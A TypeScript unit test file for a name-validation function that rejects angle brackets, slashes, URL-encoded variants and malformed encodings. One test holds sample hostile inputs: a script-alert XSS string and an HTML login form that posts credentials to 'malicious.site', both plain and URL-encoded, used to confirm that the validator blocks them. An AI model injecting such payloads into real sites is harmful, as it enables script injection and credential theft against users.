import { expect } from 'chai';

import { validateNameChars } from '../../../../../server/lib/shared/validateNameChars';

describe('validateNameChars', () => {
	it('should return false for undefined input', () => {
		expect(validateNameChars(undefined)).to.be.false;
	});

	it('should return false for non-string input', () => {
		expect(validateNameChars(123 as any)).to.be.false;
		expect(validateNameChars({} as any)).to.be.false;
		expect(validateNameChars([] as any)).to.be.false;
	});

	it('should return false for names with invalid characters', () => {
		expect(validateNameChars('name<')).to.be.false;
		expect(validateNameChars('name>')).to.be.false;
		expect(validateNameChars('name/')).to.be.false;
		expect(validateNameChars('name\\')).to.be.false;
	});

	it('should return false for names with invalid characters after decoding', () => {
		expect(validateNameChars('name%3E')).to.be.false;
		expect(validateNameChars('name%5C')).to.be.false;
		expect(validateNameChars('name%3C')).to.be.false;
	});

	it('should return false for malicious HTML payloads', () => {
		expect(validateNameChars('<script>alert("XSS");</script>')).to.be.false;
		expect(validateNameChars('%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E')).to.be.false;
		expect(
			validateNameChars(
				'<form action="http://malicious.site" method="post"><input type="text" name="username" value="Enter username"><input type="password" name="password" value="Enter password"><input type="submit" value="Submit"></form>',
			),
		).to.be.false;
		expect(
			validateNameChars(
				'%3Cform%20action%3D%22http%3A%2F%2Fmalicious.site%22%20method%3D%22post%22%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%20value%3D%22Enter%20username%22%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%20value%3D%22Enter%20password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Submit%22%3E%3C%2Fform%3E',
			),
		).to.be.false;
	});

	it('should return false if decodeURI throws an error', () => {
		expect(validateNameChars('%')).to.be.false;
		expect(validateNameChars('%E0%A4%A')).to.be.false;
	});

	it('should return true for valid names', () => {
		expect(validateNameChars('name')).to.be.true;
		expect(validateNameChars('valid_name')).to.be.true;
		expect(validateNameChars('valid-name')).to.be.true;
		expect(validateNameChars('valid.name')).to.be.true;
		expect(validateNameChars('valid name')).to.be.true;
	});
});